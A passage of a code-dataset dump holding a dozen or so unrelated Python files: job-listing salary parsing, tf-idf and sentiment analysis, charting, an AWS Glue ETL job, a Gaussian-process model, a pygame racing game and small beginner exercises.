employer = employer.find('a')\n if not employer:\n data_sj['employer'] = np.nan\n else:\n data_sj['employer'] = employer.text\n\n compensation = v.find('span', {'class': '_3mfro _2Wp8I _31tpt f-test-text-company-item-salary PlM3e _2JVkc _2VHxz'})\n if not compensation:\n data_sj['compensation'] = np.nan\n else:\n data_sj['compensation'] = compensation.text\n\n data_sj['source'] = link_sj\n # добавим инф в базу sj\n base_sj.append(data_sj)\n\nwith open(f'SJ.txt', 'w') as outfile:\n json.dump(base_sj, outfile)\n\ndf_sj = pd.DataFrame(base_sj)\n\ndf_sj.to_csv(f'SJ.csv', encoding= 'utf-8')\n\n# open csv /откроем наши сохраненные csv\nfile = f'HH.csv'\ndf_hh = pd.read_csv(file, header= 0, encoding= 'utf-8', index_col= 0)\nfile = f'SJ.csv'\ndf_sj = pd.read_csv(file, header= 0, encoding= 'utf-8', index_col= 0)\n# concatination csv\ndf = pd.concat([df_hh, df_sj], axis= 0, ignore_index= True, sort= False)\n\n#обработаем фот /min max salary or none\ndf['compensation_min'] = np.nan\ndf['compensation_max'] = np.nan\ndf['compensation_currency'] = np.nan\n\nfilter = ~df['compensation'].isnull()\n\nfor i, _ in df[filter].iterrows():\n\n compensation_tt = df.loc[i, 'compensation'].replace(u'\\xa0', ' ')\n\n numbers = '[\\d+\\s]*\\d+' # pattern for number values\n\n fr = re.search(f'^от {numbers}', compensation_tt) # 'от 30 000'\n if fr:\n df.loc[i, 'compensation_min'] = fr[0][3:].replace(' ', '')\n compensation_tt = compensation_tt.replace(fr[0], '')\n\n fr = re.search(f'^{numbers}[\\s]*[\\-—]+', compensation_tt) # '30 000-'\n if fr:\n df.loc[i, 'compensation_min'] = fr[0][:-1].replace(' ', '')\n compensation_tt = compensation_tt.replace(fr[0], '-')\n\n fr = re.search(f'^до {numbers}', compensation_tt) # 'до 30 000'\n if fr:\n df.loc[i, 'compensation_max'] = fr[0][3:].replace(' ', '')\n compensation_tt = compensation_tt.replace(fr[0], '')\n\n fr = re.search(f'^[\\-—]+[\\s]*{numbers}', compensation_tt) # '-30 000'\n if fr:\n df.loc[i, 'compensation_max'] = fr[0][1:].replace(' ', '')\n compensation_tt = compensation_tt.replace(fr[0], '')\n\n fr = re.search(f'^[\\s]*{numbers}', compensation_tt) # '30 000'\n if fr:\n df.loc[i, 'compensation_max'] = fr[0].replace(' ', '')\n df.loc[i, 'compensation_min'] = fr[0].replace(' ', '')\n compensation_tt = compensation_tt.replace(fr[0], '')\n\n df.loc[i, 'compensation_currency'] = compensation_tt # the rest to the currency\n\n#сохраним в csv/ save to csv\ndf= df.drop('compensation', axis=1)\ndf.to_csv(f'data_from_query_hh_sj.csv', encoding= 'utf-8')\n\n","repo_name":"tigiridon/python","sub_path":"Parsing_and_more/hw2_parsers_HH_and_SJ.py","file_name":"hw2_parsers_HH_and_SJ.py","file_ext":"py","file_size_in_byte":7786,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39072804714","text":"\nimport pandas as pd\nimport numpy as np\n\n# This program loads the data frame that was built from the 'InitialDataProcessing' file,\n# and build a tf-idf table with the top distinctive words in that year.\n\nyear = 2009\n\ndf_year = pd.read_csv('df_{year}.csv') # load your CSV file \n\nprint(df_year)\n\n\n\n# The tf-idf table shows the most distinctive words on reddit under sub-reddit r/lgbt in each month\n\n\n# df['text'][0:1] # 2015_05\n# df['text'][1:2] # 2015_04\n\ndef build_tf_idf_table(df, df_one_month, month_idx):\n \n # Term Frequency => Raw Count Definition\n tf1 = (df_one_month).apply(lambda x: pd.value_counts(x.split(\" \"))).sum(axis = 0).reset_index()\n\n tf1.columns = ['words','tf']\n tf1['month'] = df['month'].loc[month_idx] # This adds the month column \n tf1.sort_values(by='tf', ascending=False)[:10]\n \n # Inverse Document Frequency\n for i,word in enumerate(tf1['words']):\n tf1.loc[i, 'idf'] = np.log(df.shape[0]/(len(df[df['text'].str.contains(word)])))\n\n tf1.sort_values(by='idf', ascending=False)[:10]\n \n \n # tf-idf\n tf1['tfidf'] = tf1['tf'] * tf1['idf']\n tf1.sort_values(by='tf', ascending=False)[:10]\n \n return tf1\n\n\n\ntf_idf_arr_year = []\n\nfor i in range(12):\n tf_idf_table = build_tf_idf_table(df_year, df_year['text'][i:i+1], i)\n tf_idf_arr_year.append(tf_idf_table)\n \n\n\n\n# An empty master DF will get appended all the sub-tf-idf-Dfs\nmaster_df_year = pd.DataFrame()\n\nfor i in range(len(tf_idf_arr_year)):\n master_df_year = master_df_year.append(tf_idf_arr_year[i])\n\n\n# maybe sort the master df again by tf-idf score\nmaster_df_year = master_df_year.sort_values(by='tfidf', ascending=False)\nmaster_df_year.head(20)\n\n\n# saving the data frame as a CSV file on disk\nmaster_df_year.to_csv(f'tf-idf_{year}.csv') ","repo_name":"akoo1/reddit-archive-project","sub_path":"Code/build_tf_idf_table.py","file_name":"build_tf_idf_table.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37261966724","text":"import pandas as pd\nimport numpy as np\nimport re\nimport jieba.posseg as psg\nimport matplotlib.pyplot as plt\nfrom wordcloud import WordCloud\n\nimport warnings\n\nimport wordcloud\nwarnings.filterwarnings('ignore')\n\nword = pd.read_csv('word.csv')\n\n# 读入正面、负面情感评价词\npos_comment = pd.read_csv('正面评价词语（中文）.txt', header=None, sep='\\n', encoding='utf-8', engine='python')\nneg_comment = pd.read_csv('负面评价词语（中文）.txt', header=None, sep='\\n', encoding='utf-8', engine='python')\npos_emotion = pd.read_csv('正面情感词语（中文）.txt', header=None, sep='\\n', encoding='utf-8', engine='python')\nneg_emotion = pd.read_csv('负面情感词语（中文）.txt', header=None, sep='\\n', encoding='utf-8', engine='python')\n\n# 合并情感词与评价词\npositive = set(pos_comment.iloc[:, 0]) | set(pos_emotion.iloc[:, 0])\nnegative = set(neg_comment.iloc[:, 0]) | set(neg_emotion.iloc[:, 0])\n\nintersection = positive & negative\npositive = list(positive - intersection)\nnegative = list(negative - intersection)\n\npositive = pd.DataFrame({'word': positive, 'weight': [1] * len(positive)})\nnegative = pd.DataFrame({'word': negative, 'weight': [-1] * len(negative)})\n\nposneg = positive.append(negative)\n\n# 将分词结果和正负面情感词表合并，定位情感词\ndata_posneg = posneg.merge(word, left_on='word', right_on='word', how='right')\ndata_posneg = data_posneg.sort_values(by=['index_content', 'index_word'])\n\n# 载入否定词表\nnotdict = pd.read_csv('not.csv')\n\n# 构造新列，作为否定词修正后的情感值\ndata_posneg['amend_weight'] = data_posneg['weight']\ndata_posneg['id'] = np.arange(0, len(data_posneg))\n\n# 只保留有情感值的词语\nonly_inclination = data_posneg.dropna().reset_index(drop=True)\nindex = only_inclination['id']\n\nfor i in np.arange(0, len(only_inclination)):\n # 提取第i个情感词所在的评论\n review = data_posneg[data_posneg['index_content'] == only_inclination['index_content'][i]]\n review.index = np.arange(0, len(review))\n # 第i个情感值在该文档中的位置\n affective = only_inclination['index_word'][i]\n if affective == 1:\n ne = sum([i in notdict['term'] for i in review['word'][affective - 1]]) % 2\n if ne == 1:\n data_posneg['amend_weight'][index[i]] = -data_posneg['weight'][index[i]]\n elif affective > 1:\n ne = sum([i in notdict['term'] for i in review['word'][[affective - 1, affective - 2]]]) % 2\n if ne == 1:\n data_posneg['amend_weight'][index[i]] = -data_posneg['weight'][index[i]]\n\nonly_inclination = only_inclination.dropna()\n\n# 计算每条评论的情感值\nemotion_value = only_inclination.groupby(['index_content'], as_index=False)['amend_weight'].sum()\n# 去除情感值为0的评论\nemotion_value = emotion_value[emotion_value['amend_weight'] != 0]\n\n# 给情感值大于0的赋予评论类型（content_type）为pos，小于0的为neg\nemotion_value['a_type'] = ''\nemotion_value['a_type'][emotion_value['amend_weight'] > 0] = 'pos'\nemotion_value['a_type'][emotion_value['amend_weight'] < 0] = 'neg'\n\n# 查看情感分析结果\nresult = emotion_value.merge(word, left_on='index_content', right_on='index_content', how='left')\nresult = result[['index_content', 'content_type', 'a_type']].drop_duplicates()\n\n# 绘制情感倾向分析混淆矩阵，交叉表：统计分组频率的特殊透视表\nconfusion_matrix = pd.crosstab(result['content_type'], result['a_type'], margins=True)\nprecison = (confusion_matrix.iat[0, 0] + confusion_matrix.iat[1, 1]) / confusion_matrix.iat[2, 2]\n# print(precison)\n\n# 提取正负面评论信息\nind_pos = list(emotion_value[emotion_value['a_type'] == 'pos']['index_content'])\nind_neg = list(emotion_value[emotion_value['a_type'] == 'neg']['index_content'])\n\nposdata = word[[i in ind_pos for i in word['index_content']]]\nnegdata = word[[i in ind_neg for i in word['index_content']]]\n\n# 绘制词云\nfreq_pos = posdata.groupby('word')['word'].count()\nfreq_pos = freq_pos.sort_values(ascending=False)\nbackground_image = plt.imread('pl.jpg')\nwordcloud = WordCloud(font_path='hwkt.ttf', max_words=100, background_color='white', mask=background_image)\npos_wordcloud = wordcloud.fit_words(freq_pos)\nplt.imshow(pos_wordcloud)\nplt.axis('off')\nplt.show()\n\nfreq_neg = negdata.groupby(by=['word'])['word'].count()\nfreq_neg = freq_neg.sort_values(ascending = False)\nneg_wordcloud = wordcloud.fit_words(freq_neg)\nplt.imshow(neg_wordcloud)\nplt.axis('off') \nplt.show()\n\n# 将结果写出，每条评论作为一行\nposdata.to_csv(\"./posdata.csv\", index = False, encoding = 'utf-8')\nnegdata.to_csv(\"./negdata.csv\", index = False, encoding = 'utf-8')\n\n","repo_name":"MsunM-cell/Data-Analysis","sub_path":"Project/Emotion-Analysis/dicmatch.py","file_name":"dicmatch.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"22455832736","text":"'''\n@Author: your name\n@Date: 2020-02-02 12:04:21\n@LastEditTime : 2020-02-02 15:05:43\n@LastEditors : Please set LastEditors\n@Description: In User Settings Edit\n@FilePath: \\vscode_code\\GitHub项目\\爬虫+数据分析\\高德地图\\poi_fenxi.py\n'''\nimport numpy as np\nimport pandas as pd\nfrom pyecharts import Bar,Pie\nimport folium\nfrom folium import plugins\n\ndata = pd.read_csv(r'E:\\vscode_code\\GitHub项目\\爬虫+数据分析\\高德地图\\poi.csv',encoding='utf-8')\n#print(data['typ1'].unique())\n#这些个操作貌似还能自动排序\n#下面是value_counts内的参数定义\n'''\n 4.1 normalize ：计数项归一化；就是得到的结果为频率\n\n 4.2 sort：是否对频率项进行排序，默认降序；\n\n 4.3 ascending ： 排序是否升续排列，默认False；\n\n 4.4 bins： 离散数据的分段，只能作用在数值变量，pd.cut 的简化版；\n\n 4.5 dropna： 不包括对NA的计数；\n'''\n\n#print(data.groupby('typ1')['typ1'].count())\ntyp1 = data['typ1'].value_counts()\ntyp2 = data['typ2'].value_counts()\n#print(typ2)\n#print(list(typ2.index)[:10])\n\n\n#绘图\n#饼图\nattr = list(typ1.index)\nv1 = list(typ1)\npie = Pie(\"服务数量统计\", 'center')\npie.add(\n \"\",\n attr,\n v1,\n radius=[40, 75],\n label_text_color=None,\n is_label_show=True,\n legend_orient=\"vertical\",\n legend_pos=\"left\",\n)\npie.render(r'E:\\vscode_code\\GitHub项目\\爬虫+数据分析\\高德地图\\服务数量统计.html')\n\n#柱状图\nattr = list(typ2.index)[:10]\nv1 = list(typ2)[:10]\nbar = Bar(\"\")\nbar.add(\"\", attr, v1,xaxis_interval=0,xaxis_rotate=20,xaxis_margin=8,is_label_show=True)\nbar.render(r'E:\\vscode_code\\GitHub项目\\爬虫+数据分析\\高德地图\\中外餐厅类型数量.html')\n\n#地图\nm = folium.Map(location=[28.12, 112.59])\nm.save(r'E:\\vscode_code\\GitHub项目\\爬虫+数据分析\\高德地图\\餐厅位置.html')\n\n#热力图\ndf1 = data[data['typ1'] == '餐饮服务']\nprint(df1.head())\ndf2 = data[data['lat']]\nprint(df2)\n'''\ndf3 = data[data['lon']]\nheatmap1 = folium.Map(location=[28.12, 112.59], zoom_start=11)\nheatmap1.add_child(plugins.HeatMap([[row[\"lat\"],row[\"lon\"]] for name, row in df1.iterrows()]))\n#heatmap1.add_child(plugins.HeatMap(df2,df3))\nheatmap1.save(r'E:\\vscode_code\\GitHub项目\\爬虫+数据分析\\高德地图\\餐厅热力图2.html')\n'''","repo_name":"Summer-Friend/data_analyze","sub_path":"GitHub项目/爬虫+数据分析/高德地图/poi_fenxi.py","file_name":"poi_fenxi.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"29048328797","text":"# -*- coding: utf-8 -*-\nimport datetime as dt\nimport decimal\n\nfrom sqlalchemy.orm.exc import FlushError\nimport pytest\n\nfrom tests.base import BalanceTest\nfrom tests.object_builder import (\n get_big_number,\n Getter,\n ProductBuilder,\n ProductGroupBuilder,\n ActivityBuilder\n)\nfrom balance.mapper import (\n Product,\n ProductUnit,\n ProductName,\n TaxPolicy,\n TaxPolicyPct,\n Tax,\n Price,\n Tag,\n Language,\n Country,\n)\nfrom balance import muzzle_util as ut\nfrom balance import exc\n\nD = decimal.Decimal\n\n\nclass TestProductAttrs(BalanceTest):\n def _create_prod(self, tags):\n prod = ProductBuilder().build(self.session).obj\n for tag in tags:\n prod.tags.append(Tag(tag, prod))\n self.session.flush()\n return prod\n\n def test_create_tag(self):\n prod = ProductBuilder().build(self.session).obj\n tag = 'test1'\n\n tag_mapper = Tag(tag, prod)\n self.session.add(tag_mapper)\n self.session.flush()\n self.assertItemsEqual(prod.tags, [tag_mapper])\n self.assertEqual(prod.tags[0], tag_mapper)\n\n tag_mapper2 = Tag(tag, prod)\n self.session.add(tag_mapper2)\n with self.assertRaises(FlushError):\n self.session.flush()\n\n def test_tags(self):\n prod1 = self._create_prod(['hash1', 'hash2'])\n prod2 = self._create_prod(['hash2', 'hash3'])\n self.assertListEqual(sorted(Product.from_tags(self.session, tags=['hash1'])), [prod1])\n self.assertListEqual(sorted(Product.from_tags(self.session, tags=['hash2'])), sorted([prod1, prod2]))\n self.assertListEqual(Product.from_tags(self.session, tags=['hash3']), [prod2])\n self.assertListEqual(Product.from_tags(self.session, tags=['hash4']), [])","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/product/test_product_tag.py","file_name":"test_product_tag.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"45046947862","text":"def minutesToHours(x):\n hours = x//60\n minutes = x%60\n numAns = str(x)\n\n print(numAns + \" minutes converts to \" + str(hours) + \" hour(s) and \"\n + str(minutes) + \" minutes \")\n\nminutesToHours(71)\n\n# Test \n#minutesToHours(133)\n#minutesToHours(58)\n#minutesToHours(240)\n#minutesToHours(90)\n#minutesToHours(999)\n","repo_name":"Khayaub/umuziPreBootcamp","sub_path":"task8.py","file_name":"task8.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69813005203","text":"import os\nimport random\n\n# Create main directory and sub-directory for sources\nif not os.path.exists('Flat'):\n os.mkdir('Flat')\nif not os.path.exists('Flat/Sources'):\n os.mkdir('Flat/Sources')\nif not os.path.exists('Flat/Tests'):\n os.mkdir('Flat/Tests')\n\n# Dictionary to hold dependencies\ndependencies = {}\n\nfor i in range(0, 250):\n current_module = f\"Module{i}\"\n os.mkdir(f\"Flat/Sources/{current_module}\")\n os.mkdir(f\"Flat/Tests/{current_module}Tests\")\n\n struct_name = f\"File{i}\"\n\n with open(f\"Flat/Sources/{current_module}/file{i}.swift\", \"w\") as f:\n f.write(f\"struct {struct_name} {{\\n\")\n f.write(f\" // Implementation\\n\")\n f.write(f\"}}\\n\")\n \n with open(f\"Flat/Tests/{current_module}Tests/file{i}.swift\", \"w\") as f:\n f.write(f\"import Mocks \\n\")\n f.write(f\"struct {struct_name}Test {{\\n\")\n f.write(f\" // Implementation\\n\")\n f.write(f\"}}\\n\")\n \n for submodule in [\"Sources\", \"Interface\", \"Mocks\", \"Other\"]:\n os.mkdir(f\"Flat/Sources/{current_module}/{submodule}\")\n with open(f\"Flat/Sources/{current_module}/{submodule}/file{i}_{submodule}.swift\", \"w\") as f:\n f.write(f\"struct {struct_name}_{submodule} {{\\n\")\n f.write(f\" // Implementation\\n\")\n f.write(f\"}}\\n\")\n\nif not os.path.exists('Flat/Sources/Mocks'):\n os.mkdir('Flat/Sources/Mocks')\n\nwith open(f\"Flat/Sources/Mocks/Mock.swift\", \"w\") as f:\n f.write(f\"struct Mock {{\\n\")\n f.write(f\" // Implementation\\n\")\n f.write(f\"}}\\n\")\n\n# Generate Package.swift\nwith open(\"Flat/Package.swift\", \"w\") as f:\n f.write(\"// swift-tools-version:5.3\\n\")\n f.write(\"import PackageDescription\\n\")\n f.write(\"\\n\")\n f.write(\"let package = Package(\\n\")\n f.write(\" name: \\\"Flat\\\",\\n\")\n f.write(\" products: [\\n\")\n f.write(\" .library(name: \\\"Flat\\\", targets: [\\\"Module1\\\"]) // Example: first module as main product\\n\")\n f.write(\" ],\\n\")\n f.write(\" dependencies: [],\\n\")\n f.write(\" targets: [\\n\")\n f.write(f\" .target(name: \\\"Mocks\\\", dependencies: []),\\n\")\n for i in range(0, 250):\n f.write(f\" .target(name: \\\"Module{i}\\\", dependencies: []),\\n\")\n f.write(f\" .testTarget(name: \\\"Module{i}Tests\\\", dependencies: [\\\"Mocks\\\"]),\\n\")\n f.write(\" ]\\n\")\n f.write(\")\\n\")\n","repo_name":"adam-fallon/SPMNestedVsFlat","sub_path":"God Dependency/generate_flat.py","file_name":"generate_flat.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39253427449","text":"import gpytorch\nimport torch\n\n\nclass GPModel(gpytorch.models.ApproximateGP):\n def __init__(self, inducing_points: torch.Tensor, dof: int) -> None:\n variational_distribution = gpytorch.variational.NaturalVariationalDistribution(inducing_points.size(0))\n variational_strategy = gpytorch.variational.VariationalStrategy(self, inducing_points, variational_distribution, learn_inducing_locations=True)\n super(GPModel, self).__init__(variational_strategy)\n self.mean_module: gpytorch.means.ZeroMean = gpytorch.means.ZeroMean()\n self.covar_module: gpytorch.kernels.ScaleKernel = gpytorch.kernels.ScaleKernel(gpytorch.kernels.RQKernel(ard_num_dims=dof))\n\n def forward(self, x):\n mean_x = self.mean_module(x)\n covar_x = self.covar_module(x)\n\n return gpytorch.distributions.MultivariateNormal(mean_x, covar_x) # type: ignore\n","repo_name":"jmunozmendi/CollisionGP","sub_path":"collision_gp/cgp/use_cases/gp_model.py","file_name":"gp_model.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"25756903978","text":"import matplotlib.pyplot as plt\nimport pandas as pd\n\ndf = pd.read_csv(\"Iris.csv\")\n\nspecies_list = list(set(list(df[:]['Species'])))\nprint(species_list)\nspecies_count_dict = dict(df[:][\"Species\"].value_counts())\nprint(species_count_dict)\n\n\nspecies_count = list(species_count_dict.values())\n\ncolors = ['green', 'orange', 'red']\n\nexplode = (0.05, 0.05, 0.05)\n\n\nplt.pie(species_count, colors=colors, labels=species_list,\n autopct='%1.1f%%', pctdistance=0.85,\n explode=explode)\n\ncentre_circle = plt.Circle((0, 0), 0.70, fc='white')\nfig = plt.gcf()\n\nfig.gca().add_artist(centre_circle)\n\nplt.title(\"species and their count in dataset\")\n\nplt.show()","repo_name":"shivaio/Iris-Dataset-Visualizations","sub_path":"iris_dough.py","file_name":"iris_dough.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9580454474","text":"import sys\nfrom awsglue.transforms import *\nfrom awsglue.utils import getResolvedOptions\nfrom pyspark.context import SparkContext\nfrom awsglue.context import GlueContext\nfrom awsglue.job import Job\n\nargs = getResolvedOptions(sys.argv, [\"JOB_NAME\"])\nsc = SparkContext()\nglueContext = GlueContext(sc)\nspark = glueContext.spark_session\njob = Job(glueContext)\njob.init(args[\"JOB_NAME\"], args)\n\n# Script generated for node Trusted Accelerometer\nTrustedAccelerometer_node1690119568488 = glueContext.create_dynamic_frame.from_catalog(\n database=\"stedi\",\n table_name=\"accelerometer_trusted\",\n transformation_ctx=\"TrustedAccelerometer_node1690119568488\",\n)\n\n# Script generated for node Trusted Step Trainer\nTrustedStepTrainer_node1690119567907 = glueContext.create_dynamic_frame.from_catalog(\n database=\"stedi\",\n table_name=\"step_trainer_trusted\",\n transformation_ctx=\"TrustedStepTrainer_node1690119567907\",\n)\n\n# Script generated for node Join\nJoin_node1690119876712 = Join.apply(\n frame1=TrustedAccelerometer_node1690119568488,\n frame2=TrustedStepTrainer_node1690119567907,\n keys1=[\"timestamp\"],\n keys2=[\"sensorreadingtime\"],\n transformation_ctx=\"Join_node1690119876712\",\n)\n\n# Script generated for node Drop Fields\nDropFields_node1690119906984 = DropFields.apply(\n frame=Join_node1690119876712,\n paths=[\"user\", \"timestamp\", \"x\", \"y\", \"z\"],\n transformation_ctx=\"DropFields_node1690119906984\",\n)\n\n# Script generated for node AWS Glue Data Catalog\nAWSGlueDataCatalog_node1690120153280 = glueContext.write_dynamic_frame.from_catalog(\n frame=DropFields_node1690119906984,\n database=\"stedi\",\n table_name=\"machine_learning_curated\",\n transformation_ctx=\"AWSGlueDataCatalog_node1690120153280\",\n)\n\njob.commit()\n","repo_name":"dinhquants/udacity_dewanano_datalakehouse","sub_path":"job_script/trainer_trusted_to_curated.py","file_name":"trainer_trusted_to_curated.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10547652042","text":"import pyttsx3\r\nimport PyPDF2\r\n\r\nbook = open(\"claude_gueux.pdf\", 'rb') # to open bpd and rb(read as binary book )\r\npdfReader= PyPDF2.PdfFileReader(book)\r\npages=pdfReader.numPages\r\nprint(pages)\r\n\r\nspeaker = pyttsx3.init() #initial library\r\nfor num in range(1, pages):\r\n page = pdfReader.getPage(num)\r\n print(page)\r\n text = page.extractText()\r\n speaker.say(text) # what i want program to say\r\n speaker.runAndWait() # to run code","repo_name":"HusseinElwakeel/pdf_to_speech","sub_path":"pdf_to_audio.py","file_name":"pdf_to_audio.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32791318459","text":"import pygame\r\nimport math\r\nimport time\r\nfrom Utilities import scale_image, blit_rotate_center\r\n\r\n#Initialize Pygame\r\npygame.init()\r\n\r\npygame.mixer.music.load('GUI_Project/assets/daisy.mp3')\r\npygame.mixer.music.play(-1)\r\n\r\n\r\n#Loading Images\r\nGRASS = scale_image(pygame.image.load(\"GUI_Project/assets/grass.jpg\"), 2.5)\r\nTRACK = scale_image(pygame.image.load(\"GUI_Project/assets/track.png\"), 0.75)\r\n\r\nTRACK_BORDER = scale_image(pygame.image.load(\"GUI_Project/assets/track-border.png\"), 0.75)\r\nFINISH = pygame.image.load(\"GUI_Project/assets/finish.png\")\r\n\r\nRED_CAR = scale_image(pygame.image.load(\"GUI_Project/assets/red-car.png\"), 0.3)\r\nGREEN_CAR = scale_image(pygame.image.load(\"GUI_Project/assets/green-car.png\"), 0.3)\r\n\r\n# Assuming TRACK_BORDER is the surface of the track border\r\ntrack_border_mask = pygame.mask.from_surface(TRACK_BORDER)\r\n\r\nWIDTH, HEIGHT = TRACK.get_width(), TRACK.get_height()\r\n\r\nclass AbstractCar:\r\n def __init__(self, max_vel, rotation_vel):\r\n self.max_vel = max_vel\r\n self.img = self.IMG\r\n self.vel = 0\r\n self.rotation_vel = rotation_vel\r\n self.angle = 0\r\n self.acceleration = 0.01\r\n self.x, self.y = self.START_POS\r\n\r\n def rotate(self, left = False, right = False):\r\n if left:\r\n self.angle += self.rotation_vel\r\n elif right:\r\n self.angle -= self.rotation_vel\r\n \r\n def draw (self, screen):\r\n blit_rotate_center(screen, self.img, (self.x, self.y), self.angle)\r\n\r\n def move_foward(self):\r\n self.vel = min(self.vel + self.acceleration, self.max_vel)\r\n self.move(track_border_mask)\r\n\r\n def move(self, track_mask):\r\n radians = math.radians(self.angle)\r\n vertical = math.cos(radians) * self.vel\r\n horizontal = math.sin(radians) * self.vel\r\n\r\n new_y = self.y - vertical\r\n new_x = self.x - horizontal\r\n\r\n car_mask = pygame.mask.from_surface(self.img)\r\n car_rect = self.img.get_rect(topleft=(new_x, new_y))\r\n offset = (int(car_rect.x), int(car_rect.y))\r\n collision_point = track_mask.overlap(car_mask, offset)\r\n\r\n if collision_point is None:\r\n self.y = new_y\r\n self.x = new_x\r\n else:\r\n # If collision, stop the car (set velocity to 0)\r\n self.vel = 0\r\n\r\n def reduce_speed(self, track_mask):\r\n self.vel = max(self.vel - self.acceleration/2, 0)\r\n self.move(track_mask)\r\n \r\n # # Check for border collision\r\n # if 0 <= new_x <= WIDTH - self.img.get_width() and 0 <= new_y <= HEIGHT - self.img.get_height():\r\n # self.y = new_y\r\n # self.x = new_x\r\n # else:\r\n # # If collision, stop the car (set velocity to 0)\r\n # self.vel = 0\r\n \r\n\r\n\r\nclass PlayerCar(AbstractCar): \r\n IMG = RED_CAR\r\n START_POS = (120 , 200)\r\n\r\nclass PlayerCar_2(AbstractCar): \r\n IMG = GREEN_CAR\r\n START_POS = (160 , 200)\r\n\r\n \r\n#Make Framerate\r\nclock = pygame.time.Clock()\r\nFPS = 60\r\n\r\n#colors\r\nRED = (255, 0, 0)\r\nGREEN = (0, 255, 0)\r\nWHITE = (255, 255, 255)\r\nBLACK = (0, 0, 0)\r\n\r\n#making a game window\r\nscreen = pygame.display.set_mode(( WIDTH , HEIGHT ))\r\npygame.display.set_caption(\"GUI_Project\")\r\n\r\n#Draw\r\ndef draw(Screen, images, player_car, player_2_car):\r\n for img, pos in images:\r\n Screen.blit(img, pos)\r\n\r\n player_car.draw(screen)\r\n player_car_2.draw(screen)\r\n pygame.display.update()\r\n\r\nimages = [(GRASS, (0, 0)), (TRACK, (0,0))]\r\nplayer_car = PlayerCar (5, 5)\r\nplayer_car_2 = PlayerCar_2 (5, 2)\r\n\r\n#GAME LOOP\r\nrun = True\r\n\r\nwhile run:\r\n \r\n #FRAMERATE\r\n clock.tick(FPS)\r\n\r\n draw(screen, images, player_car, player_car_2)\r\n #UPDATE THE SCREEN\r\n\r\n # Pass the track border mask to the move method\r\n player_car.move(track_border_mask)\r\n player_car_2.move(track_border_mask)\r\n\r\n pygame.display.update()\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n run = False\r\n\r\n key = pygame.key.get_pressed()\r\n moved = False\r\n moved2 = False\r\n\r\n if key[pygame.K_a]:\r\n player_car.rotate(left = True)\r\n if key[pygame.K_d]:\r\n player_car.rotate(right = True)\r\n if key[pygame.K_w]:\r\n moved = True\r\n player_car.move_foward()\r\n\r\n if key[pygame.K_LEFT]:\r\n player_car_2.rotate(left = True)\r\n if key[pygame.K_RIGHT]:\r\n player_car_2.rotate(right = True)\r\n if key[pygame.K_UP]:\r\n moved2 = True\r\n player_car_2.move_foward()\r\n\r\n if not moved:\r\n player_car.reduce_speed(track_border_mask)\r\n if not moved2:\r\n player_car_2.reduce_speed(track_border_mask)\r\n \r\n\r\n #Update Display\r\n pygame.display.update()\r\n\r\n#should run after run is false (Close game)\r\npygame.quit()\r\n","repo_name":"phossyyy/GUI_Project","sub_path":"GUI_Project/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"75058908882","text":"import numpy as np\nimport math\n\nHtheta = np.arange(1,181) # range of hypothesized tuning curves\nL = np.zeros((180)) # empty array of zeros for likelihood estimates\nthetaHat = [0,0,0] # objective neuron tuning curves\nn = [0,0,0] # neuron n spikes\n\nfor k in range(len(Htheta)):\n rate = [50*math.exp((-(Htheta[k]-thetaHat[t])**2)/(2*(20**2))) for t in range(len(thetaHat))] # rate as a gaussian distribution \n L[k] = np.prod([(math.exp(-rate)*(rate**n))/math.factorial(n) for rate,n in zip(rate,n)]) # likelihood as a poisson distribution\n\npostPDF = L/L.sum()\nMAP = Htheta[np.where(postPDF == np.max(postPDF))]\n\nsort = sorted(postPDF,reverse=True)\nx = 0\nidx = [None]*len(Htheta)\ni = 0\n\nwhile x < 0.95: # 95% confidence interval based on the posterior PDF\n x = x + sort[i]\n idx[i] = Htheta[np.where(postPDF==sort[i])]\n i += 1\n\nidx = [x for x in idx if x is not None] # remove empty cells in array\nconfidenceInterval = [min(idx),max(idx)]\n","repo_name":"darrenmk/Bayesian","sub_path":"BayesianBrain/NeuronTuningCurve.py","file_name":"NeuronTuningCurve.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40493173208","text":"# Use a while loop to print the squares of the numbers: 1, 3, 6, 10, 15 and 21.\n\n##### Expected Output #####\n# 1\n# 9\n# 36\n# 100\n# 225\n# 441\n\n##### Solution 1 #####\n\n# nums = [1, 3, 6, 10, 15, 21]\n# idx = 0\n\n# while idx < len(nums):\n# num = nums[idx]\n# print(num * num)\n\n# idx += 1\n\n##### Solution 2 #####\n\nnum = 1\nstep = 2\n\nwhile num <= 21:\n print(num * num)\n\n num += step\n step += 